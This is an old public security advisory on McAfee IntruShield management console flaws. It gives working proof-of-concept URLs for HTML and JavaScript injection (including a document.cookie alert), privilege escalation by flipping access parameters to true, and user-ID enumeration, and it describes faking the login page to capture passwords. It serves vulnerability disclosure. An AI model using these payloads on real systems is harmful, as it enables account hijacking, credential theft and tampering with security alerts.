McAfee Intrushield IPS Abuse

[c0ntexb@xxxxxxxxx]

 /*
  
*****************************************************************************************************************
  $ An open security advisory #8 - McAfee Intrushield IPS Management Console 
Abuse
  
*****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: July 06 2005
  3: Bug Impact Rate: Medium / Hi
  4: Bug Scope Rate: Local / Remote
  
*****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for commercial 
gain.
  
*****************************************************************************************************************

  McAfee IntruShield Security Management System
  http://www.mcafeesecurity.com/us/products/mcafee/network_ips/category.htm


  "The McAfee IntruShield Security Management System is an advanced solution 
for administering IntruShield
  sensor appliance deployments. The IntruShield Security Management System 
(ISM) can support both large and
  small network intrusion prevention system (IPS) deployments and can scale up 
to several hundred sensor
  appliances. By integrating a comprehensive set of Best-in-Class security 
management functions, the
  IntruShield Security Management System dramatically simplifies and 
streamlines the complexities associated
  with IPS configuration, policy compliance, and threat and response 
management."

  I have found some security vulnerabilities in this product whereby a user can 
elevate their privileges from
  a user that can only view alerts logged by remote sensors, to a scenario 
where the user can gain access to
  acknowledge, accept and delete alerts and access the Management Console. It 
is also possible to inject
  malicious HTML and JavaScript into the URLS and have this malicious script 
run on the clients machine,
  allowing for account information hijacking.

  A new version has been released to address these bugs and can be downloaded 
from their site.

*/

  Issues:
  1) Inject HTML
  2) Inject JavaScript
  3) Access privileged reports
  4) Acknowledge and delete alerts
  5) Gain access to Management Console

  Note: for issues 1 - 4, the attacker needs a valid user account.

  1) It is possible to embed HTML into the MISMS. This could potentially allow 
phishing attacks to be performed
  against a valid Manager account.

  
https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&faultResourceName=Manager&;
  
domainName=%2FDemo%3A0&resourceName=%2FDemo%3A0%2FManager&resourceType=Manager&
  
topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=<iframe%20src="
  
http://www.mcafeesecurity.com/us/about/press/corporate/2005/20050411_185504.htm"%20width=800%20height=600
 >
  </iframe>&severity=critical&count=1


  2) It is possible to embed JavaScript into the MISMS and have the embedded 
script execute in the security
  context of the user browsing the Management System.

  
https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&faultResourceName=Manager&;
  domainName=Demo&resourceName=<script>alert("There could be trouble  
ahead")</script><script>alert(document.cookie)
  
</script>&resourceType=Manager&topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=
  Critical&severity=critical&count=1


  3) It is possible to access the restricted "Generate Reports" section of the 
MISMS and as such, a non-privileged
  user can gain important information regarding the configuration and set-up of 
the IP devices being managed by the
  Service. This can be achieved by simply changing the Access option from false 
to true.

  
https://intrushield:443/intruvert/jsp/reports/reports-column-center.jsp?monitoredDomain=%2FDemo&;
  selectedDomain=0&fullAccessRight=true


  4) It is possible to acknowledge, de-acknowledge and delete alerts from the 
MISMS console by modifying URL's
  sent to the system by simply changing the Access option from false to true.

  
https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=true&faultResourceName=Manager&;
  domainName=%2FDemo%3A0&resourceName=%Demo%3A0%2FManager&resourceType=Manager&
  
topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=
  critical&count=1

  Each change is emailed out to the administrator, however the email only says 
that "someone" made a change.

  5) As default, all user ID values are passed in the URL in the clear, meaning 
that it is trivial for an attacker
  to brute force accounts until a privileged Manager account is found. An 
example of this would look similar to:

  
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=1&logo=intruvert.gif
  
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=2&logo=intruvert.gif
  
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=3&logo=intruvert.gif
  
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=4&logo=intruvert.gif

  This process can be continued until a valid user ID has been found with 
privileges to access the configure screen.

  Since javascript can be run in the browsers of clients accessing the device, 
it would be possible to redraw the page
  with IFRAME's and recreate the user login page to snoop usersnames and 
passwords.